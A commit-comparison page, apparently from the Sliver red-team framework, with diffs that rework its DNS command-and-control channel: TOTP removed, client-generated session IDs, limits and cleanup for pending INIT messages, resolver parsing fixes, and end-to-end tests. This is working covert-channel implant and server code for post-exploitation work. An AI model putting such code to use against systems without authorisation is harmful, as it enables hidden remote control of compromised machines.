Compare commits

..
Author SHA1 Message Date
moloch-- 87d5fd53a8 Add e2e dns c2 tests 2026-02-06 13:54:07 -08:00
moloch-- cf79a2d284 Merge patch for oversized msg size checks 2026-02-06 12:16:03 -08:00
moloch-- 6d0276ff67 Add more tests for dns gc 2026-02-06 11:56:55 -08:00
moloch-- 9b001ab88e Remove totp from dns c2, implement pending msg gc 2026-02-06 11:40:00 -08:00
Joe 503218f3f4 Merge pull request #2163 from BishopFox/feature/exec-bg
Feature/exec bg
2026-02-06 10:44:20 -07:00
13 changed files with 897 additions and 217 deletions

No files matched your search

-1
View File
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
})
// HTTP
+4 -6
View File
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
EnforceOTP: !enforceOTP,
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
})
con.Println()
if err != nil {
+9
View File
@@ -202,6 +202,15 @@ else
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
# server / c2 / e2e (dns)
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
@@ -46,6 +46,7 @@ import (
"encoding/binary"
"errors"
"hash/crc32"
"net"
"net/url"
"strconv"
"strings"
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
}
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
address, port := splitResolverAddress(server, s.resolvConf.Port)
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
// {{end}}
err = s.getDNSSessionID() // Get a 'dns session id'
if err != nil {
return err
}
s.fingerprintResolvers() // Fingerprint the resolvers
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
// Generate a random session ID locally. The server will only allocate state
// after a successful INIT, which avoids an unauthenticated session bootstrap.
if s.dnsSessionID == 0 {
sid, err := s.randomDNSSessionID()
if err != nil {
return err
}
s.dnsSessionID = sid
}
// Key agreement with server
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
resolver, _ := s.randomResolver()
initMsg := &dnspb.DNSMessage{
ID: s.nextMsgID(),
Type: dnspb.DNSMessageType_INIT,
Size: uint32(len(initData)),
}
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg send failure %v", err)
// {{end}}
return err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
var respData []byte
var initErr error
for _, resolver := range s.resolvers {
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
if initErr != nil {
continue
}
if len(respData) < 1 {
initErr = ErrEmptyResponse
continue
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
initErr = err
continue
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
initErr = errInvalidDNSSessionID
continue
}
initErr = nil
break
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
if initErr != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg decryption failure %v", err)
log.Printf("[dns] init msg send failure %v", initErr)
// {{end}}
return err
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
// {{if .Config.Debug}}
log.Printf("[dns] init msg dns session id mismatch")
// {{end}}
return err
return initErr
}
// Good to go!
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
log.Printf("[dns] key exchange was successful!")
// {{end}}
// Now that we have a server-side session, benchmark/fingerprint resolvers and
// drop ones that error.
s.fingerprintResolvers()
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
}
// {{if .Config.Debug}}
log.Printf("[dns] starting worker(s) ...")
// {{end}}
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
return subdata, nil
}
func (s *SliverDNSClient) getDNSSessionID() error {
otpMsg, err := s.otpMsg()
if err != nil {
return err
}
otpDomain, err := s.joinSubdataToParent(otpMsg)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
// {{end}}
var a []byte
for _, resolver := range s.resolvers {
a, _, err = resolver.A(otpDomain)
if err == nil {
break
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
// sessionID is 24-bit and must be non-zero.
randBuf := make([]byte, 4)
for {
_, err := rand.Read(randBuf)
if err != nil {
return 0, err
}
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
if sid != 0 {
return sid, nil
}
}
if err != nil {
return err // All resolvers failed
}
if len(a) < 1 {
return errInvalidDNSSessionID
}
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
if s.dnsSessionID == 0 {
return errInvalidDNSSessionID
}
// {{if .Config.Debug}}
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
// {{end}}
return nil
}
func (s *SliverDNSClient) loadResolvConf() error {
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
return err
}
func splitResolverAddress(server string, defaultPort string) (string, string) {
server = strings.TrimSpace(server)
if server == "" {
return "", defaultPort
}
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
if host, port, err := net.SplitHostPort(server); err == nil {
return host, port
}
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
}
return server, defaultPort
}
// Joins subdata to the parent domain, you must have already done the math to
// ensure the subdata can fit in the domain
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
return string(msg), nil
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: uint32(0), // Take advantage of the variable length encoding
}
data, err := proto.Marshal(otpMsg)
if err != nil {
return "", err
}
msg, _ := s.base32.Encode(data)
return string(msg), nil
}
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
func (s *SliverDNSClient) fingerprintResolvers() {
wg := &sync.WaitGroup{}
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
}
}
func TestOTPMsgRoundTrip(t *testing.T) {
func TestRandomDNSSessionID(t *testing.T) {
client := NewDNSClient(parent1, opts)
encoded, err := client.otpMsg()
sid, err := client.randomDNSSessionID()
if err != nil {
t.Fatalf("Unexpected otpMsg error: %s", err)
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
}
if !isBase32String(encoded) {
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
if sid == 0 {
t.Fatal("expected non-zero dns session id")
}
raw, err := encoders.Base32{}.Decode([]byte(encoded))
if err != nil {
t.Fatalf("Unexpected otpMsg decode error: %s", err)
}
msg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, msg); err != nil {
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
}
if msg.Type != dnspb.DNSMessageType_TOTP {
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
}
if msg.ID != 0 {
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
if (sid & ^uint32(sessionIDBitMask)) != 0 {
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
}
}
@@ -22,6 +22,7 @@ import (
"crypto/rand"
"encoding/binary"
"errors"
"net"
"strings"
"time"
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
retries = 1
}
return &GenericResolver{
address: address + ":" + port,
address: net.JoinHostPort(address, port),
retries: retries,
retryWait: retryWait,
resolver: &dns.Client{
+12 -19
View File
@@ -24,7 +24,6 @@ type DNSMessageType int32
const (
DNSMessageType_NOP DNSMessageType = 0 // aka FINGERPRINT
DNSMessageType_TOTP DNSMessageType = 1
DNSMessageType_INIT DNSMessageType = 2
DNSMessageType_POLL DNSMessageType = 3
DNSMessageType_CLOSE DNSMessageType = 4
@@ -38,7 +37,6 @@ const (
var (
DNSMessageType_name = map[int32]string{
0: "NOP",
1: "TOTP",
2: "INIT",
3: "POLL",
4: "CLOSE",
@@ -49,7 +47,6 @@ var (
}
DNSMessageType_value = map[string]int32{
"NOP": 0,
"TOTP": 1,
"INIT": 2,
"POLL": 3,
"CLOSE": 4,
@@ -89,10 +86,7 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
//
//NOTE: DNS is very space sensitive so certain fields are re-purposed
//depending on the DNSMessageType as noted below:
//
//[Type TOTP]: ID field is used for the TOTP code
//
//depending on the DNSMessageType.
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -194,19 +188,18 @@ var file_dnspb_dns_proto_rawDesc = []byte{
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x12, 0x0a, 0x04,
0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65,
0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,
0x44, 0x61, 0x74, 0x61, 0x2a, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
0x44, 0x61, 0x74, 0x61, 0x2a, 0x83, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f, 0x50, 0x10, 0x00,
0x12, 0x08, 0x0a, 0x04, 0x54, 0x4f, 0x54, 0x50, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e,
0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09,
0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12, 0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e,
0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a, 0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f,
0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x07, 0x12, 0x15, 0x0a, 0x11,
0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e,
0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c,
0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x33,
0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f,
0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12,
0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e, 0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a,
0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54,
0x10, 0x07, 0x12, 0x15, 0x0a, 0x11, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f,
0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45,
0x41, 0x52, 0x10, 0x09, 0x22, 0x04, 0x08, 0x01, 0x10, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
+3 -6
View File
@@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
enum DNSMessageType {
NOP = 0; // aka FINGERPRINT
TOTP = 1;
reserved 1; // formerly TOTP
INIT = 2;
POLL = 3;
CLOSE = 4;
@@ -17,10 +17,7 @@ enum DNSMessageType {
/*
NOTE: DNS is very space sensitive so certain fields are re-purposed
depending on the DNSMessageType as noted below:
[Type TOTP]: ID field is used for the TOTP code
depending on the DNSMessageType.
*/
message DNSMessage {
DNSMessageType Type = 1;
@@ -29,4 +26,4 @@ message DNSMessage {
uint32 Stop = 4; // Bytes stop at
uint32 Size = 5; // Total size
bytes Data = 6; // Actual data
}
}
+185 -66
View File
@@ -21,14 +21,12 @@ package c2
We've put a little effort to making the server at least not super easily fingerprintable,
though I'm guessing it's also still not super hard to do. The server must receive a valid
TOTP code before we start returning any non-error records. All requests must be formatted
as valid protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a
8 bit "message ID." The server only responds to non-TOTP queries with valid dns session IDs
16,777,216 can probably be bruteforced but it'll at least be slow.
protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a 8 bit
"message ID." 16,777,216 can probably be bruteforced but it'll at least be slow.
DNS command and control outline:
1. Implant sends TOTP encoded message to DNS server, server checks validity
2. DNS server responds with the "DNS Session ID" which is just some random value
1. Implant generates a random DNS Session ID and sends an INIT (Age key exchange)
2. DNS server validates INIT and allocates session state
3. Requests with valid DNS session IDs enable the server to respond with CRC32 responses
4. Implant establishes encrypted session
@@ -44,6 +42,7 @@ import (
"sort"
"strings"
"sync"
"sync/atomic"
"time"
consts "github.com/bishopfox/sliver/client/constants"
@@ -66,6 +65,17 @@ const (
messageIDBitMask = 0xff000000 // Bitwise mask to get the message ID
defaultMaxTXTLength = 254
// Upper bound on unauthenticated init reassembly state. INIT is split across multiple
// DNS queries, so we cap the number of pending init messages to avoid unbounded memory use.
defaultMaxPendingDNSInits = 1024
// Pending INIT messages are expected to complete quickly. If they don't, expire them.
defaultPendingDNSInitTTL = 2 * time.Minute
defaultPendingDNSInitGCInterval = 30 * time.Second
// INIT carries only key-exchange material and should remain small.
defaultMaxDNSInitSize = 16 * 1024
)
var (
@@ -78,7 +88,7 @@ var (
)
// StartDNSListener - Start a DNS listener
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
// StartPivotListener()
server := &SliverDNSServer{
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
@@ -86,8 +96,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
messages: &sync.Map{}, // In progress message streams
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: enforceOTP,
}
server.startInitGC()
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
started := time.Now()
@@ -103,6 +113,9 @@ type DNSSession struct {
ImplantConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Created time.Time
lastSeen atomic.Int64 // unix nanos
dnsIdMsgIdMap map[uint32]uint32
outgoingMsgIDs []uint32
outgoingBuffers map[uint32][]byte
@@ -113,6 +126,10 @@ type DNSSession struct {
msgCount uint32
}
func (s *DNSSession) touch(now time.Time) {
s.lastSeen.Store(now.UnixNano())
}
func (s *DNSSession) msgID(id uint32) uint32 {
return uint32(id<<24) | uint32(s.ID)
}
@@ -256,6 +273,13 @@ type PendingEnvelope struct {
complete bool
}
// pendingInit tracks the reassembly state for an INIT message (which may arrive
// split across multiple DNS queries).
type pendingInit struct {
Created time.Time
Envelope *PendingEnvelope
}
// Reassemble - Reassemble a completed message
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
// There's some weird race here with a nil pointer
@@ -316,11 +340,23 @@ type SliverDNSServer struct {
messages *sync.Map
TTL uint32
MaxTXTLength int
EnforceOTP bool
pendingInits atomic.Int64
gcStopOnce sync.Once
gcStop chan struct{}
gcDone chan struct{}
}
// Shutdown - Shutdown the DNS server
func (s *SliverDNSServer) Shutdown() error {
s.gcStopOnce.Do(func() {
if s.gcStop != nil {
close(s.gcStop)
if s.gcDone != nil {
<-s.gcDone
}
}
})
return s.server.Shutdown()
}
@@ -329,6 +365,56 @@ func (s *SliverDNSServer) ListenAndServe() error {
return s.server.ListenAndServe()
}
func (s *SliverDNSServer) startInitGC() {
// Tests construct SliverDNSServer directly; only start GC for real listeners.
if s.gcStop != nil {
return
}
s.gcStop = make(chan struct{})
s.gcDone = make(chan struct{})
go func() {
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
defer ticker.Stop()
defer close(s.gcDone)
for {
select {
case <-ticker.C:
s.gcPendingInits()
case <-s.gcStop:
return
}
}
}()
}
func (s *SliverDNSServer) gcPendingInits() {
now := time.Now()
var deleted int64
s.messages.Range(func(key, value any) bool {
p, ok := value.(*pendingInit)
if !ok || p == nil {
if _, loaded := s.messages.LoadAndDelete(key); loaded {
deleted++
}
return true
}
created := p.Created
if created.IsZero() {
created = now
}
if now.Sub(created) > defaultPendingDNSInitTTL {
if _, loaded := s.messages.LoadAndDelete(key); loaded {
deleted++
}
}
return true
})
if deleted > 0 {
s.pendingInits.Add(-deleted)
}
}
// ---------------------------
// DNS Handler
// ---------------------------
@@ -354,6 +440,9 @@ func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writ
resp = s.handleCanary(req)
}
if resp != nil {
// These responses often have near-max-length QNAMEs. Enable compression to
// keep UDP responses under the minimum DNS message size limits.
resp.Compress = true
writer.WriteMsg(resp)
} else {
dnsLog.Infof("Invalid query, no DNS response")
@@ -384,24 +473,26 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
return s.nameErrorResp(req)
}
// TOTP Handler can be called without dns session ID
if msg.Type == dnspb.DNSMessageType_TOTP {
return s.handleHello(domain, msg, req)
// INIT can be called without an existing server-side session. The server only
// stores session state after validating the key exchange.
if msg.Type == dnspb.DNSMessageType_INIT {
return s.handleDNSSessionInit(domain, msg, checksum, req)
}
// All other handlers require a valid dns session ID
_, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
sessionValue, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
if !ok {
dnsLog.Warnf("[dns] session not found for id %v (%v)", msg.ID, msg.ID&sessionIDBitMask)
return s.nameErrorResp(req)
}
if session, ok := sessionValue.(*DNSSession); ok && session != nil {
session.touch(time.Now())
}
// Msg Type -> Handler
switch msg.Type {
case dnspb.DNSMessageType_NOP:
return s.handleNOP(domain, msg, checksum, req)
case dnspb.DNSMessageType_INIT:
return s.handleDNSSessionInit(domain, msg, checksum, req)
case dnspb.DNSMessageType_POLL:
return s.handlePoll(domain, msg, checksum, req)
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
@@ -456,81 +547,86 @@ func (s *SliverDNSServer) accumulateInitData(msg *dnspb.DNSMessage) ([]byte, boo
if msg.Size == 0 {
return nil, false, ErrInvalidMsg
}
if msg.Size > defaultMaxDNSInitSize {
return nil, false, ErrInvalidMsg
}
pendingValue, loaded := s.messages.Load(msg.ID)
if !loaded {
pendingValue = &PendingEnvelope{
Size: msg.Size,
received: uint32(0),
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
// Enforce a hard cap on pending INIT messages to prevent unbounded allocation.
next := s.pendingInits.Add(1)
if int64(defaultMaxPendingDNSInits) > 0 && next > int64(defaultMaxPendingDNSInits) {
s.pendingInits.Add(-1)
return nil, false, ErrInvalidMsg
}
pendingValue = &pendingInit{
Created: time.Now(),
Envelope: &PendingEnvelope{
Size: msg.Size,
received: uint32(0),
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
}
actual, loaded := s.messages.LoadOrStore(msg.ID, pendingValue)
if loaded {
// Another goroutine won the race. Roll back our pending counter.
s.pendingInits.Add(-1)
pendingValue = actual
}
actual, _ := s.messages.LoadOrStore(msg.ID, pendingValue)
pendingValue = actual
}
pending := pendingValue.(*PendingEnvelope)
p, ok := pendingValue.(*pendingInit)
if !ok || p == nil || p.Envelope == nil {
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
pending := p.Envelope
if pending.Size != msg.Size && msg.Size != 0 {
s.messages.Delete(msg.ID)
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
if !pending.Insert(msg) {
return nil, false, nil
}
if pending.received > pending.Size {
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
data, err := pending.Reassemble()
s.messages.Delete(msg.ID)
s.deletePendingInit(msg.ID)
if err != nil {
return nil, false, err
}
return data, true, nil
}
// ---------------------------
// DNS Message Handlers
// ---------------------------
func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[dns] totp request: %v", msg)
dnsSessionID := dnsSessionID()
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
})
resp := new(dns.Msg)
resp.SetReply(req)
resp.Authoritative = true
respBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(respBuf, dnsSessionID)
for _, q := range req.Question {
switch q.Qtype {
case dns.TypeA:
a := &dns.A{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: s.TTL},
A: respBuf,
}
resp.Answer = append(resp.Answer, a)
}
func (s *SliverDNSServer) deletePendingInit(id uint32) {
if _, loaded := s.messages.LoadAndDelete(id); loaded {
s.pendingInits.Add(-1)
}
return resp
}
func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMessage, checksum uint32, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[session init] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
sessionID := msg.ID & sessionIDBitMask
dnsLog.Debugf("[session init] with dns session id %d", sessionID)
if sessionID == 0 {
dnsLog.Warnf("[session init] invalid dns session id")
return s.refusedErrorResp(req)
}
if msg.Size <= 32 {
dnsLog.Warnf("[session init] invalid msg data length")
return s.refusedErrorResp(req)
}
if dnsSession.CipherCtx != nil {
dnsLog.Warnf("[session init] session is already initialized")
if existing, ok := s.sessions.Load(sessionID); ok {
// Defensive: INIT should only be called once per session ID.
if dnsSession, ok := existing.(*DNSSession); ok && dnsSession != nil && dnsSession.CipherCtx != nil {
dnsLog.Warnf("[session init] session is already initialized")
return s.refusedErrorResp(req)
}
dnsLog.Warnf("[session init] session already exists")
return s.refusedErrorResp(req)
}
@@ -564,7 +660,27 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
return s.refusedErrorResp(req)
}
now := time.Now()
dnsSession := &DNSSession{
ID: sessionID,
Created: now,
dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
}
dnsSession.touch(now)
dnsSession.ImplantConn = core.NewImplantConnection("dns", "n/a")
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
if _, loaded := s.sessions.LoadOrStore(sessionID, dnsSession); loaded {
dnsLog.Warnf("[session init] session id collision for %d", sessionID)
return s.refusedErrorResp(req)
}
go func() {
dnsLog.Debugf("[dns] starting implant conn send loop")
for envelope := range dnsSession.ImplantConn.Send {
@@ -572,7 +688,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
}
dnsLog.Debugf("[dns] closing implant conn send loop")
}()
dnsSession.CipherCtx = cryptography.NewCipherContext(sessionKey)
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf, dnsSession.ID)
respData, err := dnsSession.CipherCtx.Encrypt(buf)
@@ -628,6 +743,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
dnsLog.Debugf("[poll] with dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
if err != nil {
@@ -709,6 +825,7 @@ func (s *SliverDNSServer) handleDataFromImplant(domain string, msg *dnspb.DNSMes
dnsLog.Debugf("[from implant] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
dnsLog.Debugf("[from implant] msg id: %d, size: %d", msg.ID, msg.Size)
pending := dnsSession.IncomingPendingEnvelope(msg.ID, msg.Size)
complete := pending.Insert(msg)
@@ -739,6 +856,7 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
dnsLog.Debugf("[to implant] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
data, err := dnsSession.OutgoingRead(msg.ID, msg.Start, msg.Stop)
if err != nil {
@@ -798,6 +916,7 @@ func (s *SliverDNSServer) handleClear(domain string, msg *dnspb.DNSMessage, chec
dnsLog.Debugf("[clear] dns session id %d", msg.ID&sessionIDBitMask)
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
dnsSession.touch(time.Now())
dnsSession.ClearOutgoingEnvelope(msg.ID)
respBuf := make([]byte, 4)
+309
View File
@@ -0,0 +1,309 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"fmt"
"net"
"os"
"runtime"
"strconv"
"testing"
"time"
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
